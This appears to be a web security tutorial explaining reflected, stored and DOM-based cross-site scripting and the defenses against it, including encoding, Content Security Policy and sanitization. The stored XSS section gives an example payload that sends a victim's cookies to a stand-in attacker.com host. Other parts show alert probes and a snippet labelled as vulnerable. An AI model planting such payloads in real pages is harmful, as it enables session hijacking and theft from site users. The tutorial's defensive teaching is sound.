Cross-Site Scripting (XSS): Attack and Defense
XSS attacks inject malicious scripts into web pages to steal session tokens and redirect users. Learn reflected, stored, and DOM-based XSS with real examples.
Table of Contents
What Is Cross-Site Scripting?
Cross-Site Scripting (XSS) is one of the most pervasive vulnerabilities on the web and has held a consistent spot on the OWASP Top 10 for decades. The core idea is simple but dangerous: an attacker finds a way to inject malicious JavaScript into a web page that other users will load in their browsers. When the victim's browser renders that page, it executes the attacker's script with the full trust of the origin domain — meaning it can read cookies, steal session tokens, make authenticated requests, redirect users, or silently log keystrokes.
XSS is not a server-side vulnerability in the traditional sense. The server is just the delivery mechanism. The exploit runs entirely in the victim's browser.
The Three Types of XSS
Reflected XSS
Reflected XSS occurs when user-supplied input is immediately echoed back in the server's response without sanitization. The classic example is a search page:
GET /search?q=<script>alert(document.cookie)</script>
If the server returns You searched for: <script>alert(document.cookie)</script> without encoding the angle brackets, the browser will execute that script. The payload travels in the URL, which means the attacker must deliver the URL to a victim — typically via a phishing link. Reflected XSS is non-persistent: the malicious script is not stored anywhere, and each victim must click the crafted link.
Stored XSS
Stored (or persistent) XSS is far more dangerous. The payload is saved in the application's database — in a comment, a username, a profile field, or any other stored input — and served to every user who views that content. A single successful injection can compromise thousands of sessions without further attacker interaction. Social platforms, forums, and content management systems are common targets. A stored XSS payload might look like:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Inserted into a comment field, this fires for every user who views the page.
DOM-Based XSS
DOM-based XSS never touches the server at all. The vulnerability exists entirely in client-side JavaScript code that reads from an attacker-controlled source (like location.hash or document.referrer) and writes to a dangerous sink (like innerHTML or eval). Example:
// Vulnerable code
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
Navigating to page.html#<img src=x onerror=alert(1)> triggers the payload. Since the payload never leaves the browser, server-side output encoding cannot help — you must fix the JavaScript itself.
What Attackers Can Do with XSS
XSS is not just alert(1). Real-world attacks use it to:
- Steal session cookies and hijack authenticated sessions
- Capture credentials by injecting fake login forms into trusted pages
- Perform CSRF-like actions on behalf of the victim using their authenticated session
- Deliver drive-by malware by redirecting to exploit kits
- Mine cryptocurrency silently in the background
- Perform keylogging on banking or e-commerce pages
Defense: Output Encoding
The primary defense against XSS is contextual output encoding — escaping characters before inserting untrusted data into an HTML page. The encoding rules differ by context:
- HTML context: encode
<,>,&,",'as HTML entities - JavaScript context: JSON-encode or use
\uXXXXescapes - URL context: percent-encode the value
- CSS context: avoid inserting user data into style blocks when possible
Modern frameworks like React, Angular, and Vue encode output by default. Avoid using raw-HTML APIs like innerHTML, dangerouslySetInnerHTML, or v-html with untrusted data.
Defense: Content Security Policy
Content Security Policy (CSP) is an HTTP response header that tells the browser which script sources are allowed to execute. A strong CSP can prevent injected scripts from running even if encoding fails:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
Using nonces (random per-request tokens on legitimate script tags) is the most effective approach. Avoid unsafe-inline and unsafe-eval — they negate most of CSP's benefit. Test your policy at csp-evaluator.withgoogle.com.
Defense: Input Validation and Sanitization
Input validation should be your second line of defense, not the first. Reject inputs that don't match expected formats (e.g., an email field should not accept <script> tags). When you must allow rich HTML input (like a WYSIWYG editor), use a purpose-built sanitizer such as DOMPurify rather than writing your own allow-list — custom sanitizers are notoriously easy to bypass.
Also set the HttpOnly flag on session cookies to prevent them from being read by JavaScript, limiting the damage from a successful XSS exploit.
Testing for XSS
To find XSS in your own applications:
- Map every point where user input is reflected or stored (URL parameters, form fields, HTTP headers, JSON responses)
- Test each point with a simple probe like
<"'>and observe how the output is encoded - Use tools like Burp Suite, OWASP ZAP, or Dalfox for automated scanning
- Check DOM-based sinks manually by auditing JavaScript for dangerous patterns like
innerHTML,document.write, andeval
XSS findings should always be treated as high-severity in bug bounty programs and penetration tests — the ability to execute arbitrary JavaScript in a victim's browser context is an extremely powerful primitive.